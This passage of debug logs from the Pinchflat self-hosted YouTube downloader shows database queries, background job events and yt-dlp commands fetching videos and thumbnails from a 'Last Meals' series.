s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:56:45.900 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:56:45.900 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Tzo8Z3qLV38 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/fb/07/fb07bdebecd6b24df355f78e4818e4c00f570bef4cb3b233570b49ded19249b5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:56:48.171 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Tzo8Z3qLV38 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/fb/07/fb07bdebecd6b24df355f78e4818e4c00f570bef4cb3b233570b49ded19249b5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 20:56:48.171 [debug] Running yt-dlp command for action: download 20:56:48.172 [debug] QUERY OK source="settings" db=0.1ms idle=1114.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:56:48.172 [debug] QUERY OK source="settings" db=0.0ms idle=1114.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:56:48.172 [debug] QUERY OK source="settings" db=0.1ms idle=1114.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:56:48.172 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Tzo8Z3qLV38 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/1a/35/1a3570b5d155792f2c4e7d384258015e7f71dcb5075a9f5015fb5c61f25af5da.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:56:58.598 [info] {"source":"oban","duration":1141,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:57:00.569 [info] {"source":"oban","duration":410,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:57:28.600 [info] {"source":"oban","duration":1148,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:57:33.831 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4ntg0ZFmyqU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/c0/9e/c09ea8d88b37990212b7d8f5b058e0dba58699c256e374514470068279adad5c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 20:57:33.844 [debug] Running yt-dlp command for action: download_thumbnail 20:57:33.845 [debug] QUERY OK source="settings" db=0.1ms idle=1787.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:57:33.845 [debug] QUERY OK source="settings" db=0.0ms idle=1787.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:57:33.845 [debug] QUERY OK source="settings" db=0.0ms idle=1788.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:57:33.845 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4ntg0ZFmyqU --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/8/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/41/9b/419b8c1ea3fa4d95f95cbc22845df0c47141c869c58b2af95661390b8f0f65d5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:57:36.661 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4ntg0ZFmyqU --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/8/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/41/9b/419b8c1ea3fa4d95f95cbc22845df0c47141c869c58b2af95661390b8f0f65d5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 20:57:36.661 [debug] QUERY OK db=0.0ms idle=1604.0ms begin [] 20:57:36.662 [debug] QUERY OK source="media_items" db=0.3ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 00:57:33Z], "/downloads/Last Meals/2023-02-09 Link Eats His Last Meal/Link Eats His Last Meal [4ntg0ZFmyqU].mp4", ~U[2026-03-28 00:57:36Z], 8] 20:57:36.662 [debug] QUERY OK source="media_metadata" db=0.2ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/8/metadata.json.gz", "/config/metadata/media_items/8/thumbnail.jpg", 8, ~U[2026-03-28 00:57:36Z], ~U[2026-03-28 00:57:36Z]] 20:57:36.662 [debug] QUERY OK db=0.0ms commit [] 20:57:36.663 [debug] QUERY OK source="media_items" db=0.5ms idle=1605.3ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [281678686, ~U[2026-03-28 00:57:36Z], 8] 20:57:36.663 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:57:36.663 [info] {"args":{"id":8},"id":11,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":97585752,"event":"job:stop","queue_time":539077397,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:57:36.669 [info] {"args":{"id":10},"id":13,"meta":{},"system_time":1774659456669733037,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:57:36.669 [debug] QUERY OK source="media_items" db=0.0ms idle=609.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [10] 20:57:36.669 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:57:36.670 [debug] QUERY OK source="sources" db=0.0ms idle=7.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:57:36.670 [debug] QUERY OK source="media_profiles" db=0.0ms idle=6.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:57:36.670 [debug] QUERY OK source="media_items" db=0.0ms idle=6.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [10] 20:57:36.670 [debug] QUERY OK source="media_metadata" db=0.0ms idle=0.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [10] 20:57:36.670 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:57:36.670 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:57:36.670 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:57:36.670 [debug] Running yt-dlp command for action: get_downloadable_status 20:57:36.671 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:57:36.671 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:57:36.671 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:57:36.671 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ot35HRC-Zlk --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/aa/bf/aabf26d9a4294ec55deb82854065e34600426694108947d184b32de20cd90f12.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:57:38.946 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ot35HRC-Zlk --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/aa/bf/aabf26d9a4294ec55deb82854065e34600426694108947d184b32de20cd90f12.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 20:57:38.946 [debug] Running yt-dlp command for action: download 20:57:38.946 [debug] QUERY OK source="settings" db=0.1ms idle=888.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:57:38.946 [debug] QUERY OK source="settings" db=0.0ms idle=889.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:57:38.947 [debug] QUERY OK source="settings" db=0.1ms idle=889.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:57:38.947 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ot35HRC-Zlk --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/5a/92/5a920ed8fabcc8046ff00454e845fd278fe90cb113c2fde9bbd4fad2bbd60b4a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:57:58.602 [info] {"source":"oban","duration":1162,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:58:00.570 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:58:28.604 [info] {"source":"oban","duration":1305,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:58:58.606 [info] {"source":"oban","duration":1230,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:59:00.570 [info] {"source":"oban","duration":226,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:59:24.199 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Tzo8Z3qLV38 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/1a/35/1a3570b5d155792f2c4e7d384258015e7f71dcb5075a9f5015fb5c61f25af5da.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 20:59:24.213 [debug] Running yt-dlp command for action: download_thumbnail 20:59:24.214 [debug] QUERY OK source="settings" db=0.1ms idle=955.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:59:24.214 [debug] QUERY OK source="settings" db=0.0ms idle=156.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:59:24.214 [debug] QUERY OK source="settings" db=0.0ms idle=156.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:59:24.214 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Tzo8Z3qLV38 --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/9/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/50/86/508625e1867e141ff98c0970954bd2075c68605d5c68ff8f3758fbfc87706219.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:59:26.901 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Tzo8Z3qLV38 --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/9/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/50/86/508625e1867e141ff98c0970954bd2075c68605d5c68ff8f3758fbfc87706219.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 20:59:26.901 [debug] QUERY OK db=0.0ms idle=844.2ms begin [] 20:59:26.902 [debug] QUERY OK source="media_items" db=0.4ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 00:59:24Z], "/downloads/Last Meals/2025-01-21 Lana Condor Eats Her Last Meal/Lana Condor Eats Her Last Meal [Tzo8Z3qLV38].mp4", ~U[2026-03-28 00:59:26Z], 9] 20:59:26.902 [debug] QUERY OK source="media_metadata" db=0.4ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/9/metadata.json.gz", "/config/metadata/media_items/9/thumbnail.jpg", 9, ~U[2026-03-28 00:59:26Z], ~U[2026-03-28 00:59:26Z]] 20:59:26.903 [debug] QUERY OK db=0.1ms commit [] 20:59:26.915 [debug] QUERY OK source="media_items" db=0.6ms idle=856.9ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [443858732, ~U[2026-03-28 00:59:26Z], 9] 20:59:26.915 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:59:26.915 [info] {"args":{"id":9},"id":12,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":161016506,"event":"job:stop","queue_time":583898388,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:59:26.921 [info] {"args":{"id":11},"id":14,"meta":{},"system_time":1774659566921665915,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:59:26.921 [debug] QUERY OK source="media_items" db=0.0ms idle=659.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [11] 20:59:26.921 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:59:26.922 [debug] QUERY OK source="sources" db=0.0ms idle=18.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:59:26.922 [debug] QUERY OK source="media_profiles" db=0.0ms idle=6.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:26.922 [debug] QUERY OK source="media_items" db=0.1ms idle=6.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11] 20:59:26.922 [debug] QUERY OK source="media_metadata" db=0.0ms idle=0.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [11] 20:59:26.922 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:26.922 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:59:26.922 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:59:26.922 [debug] Running yt-dlp command for action: get_downloadable_status 20:59:26.923 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:59:26.923 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:59:26.923 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:59:26.923 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=1PdM23qlYxU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/d5/34/d534e0cc2fd372ea0845989e72b07667f3f85fa3c66d19c41398082fade4aa32.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:59:28.607 [info] {"source":"oban","duration":344,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:59:29.245 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=1PdM23qlYxU --simulate --skip-download --print-to-file %(.{live_status})j 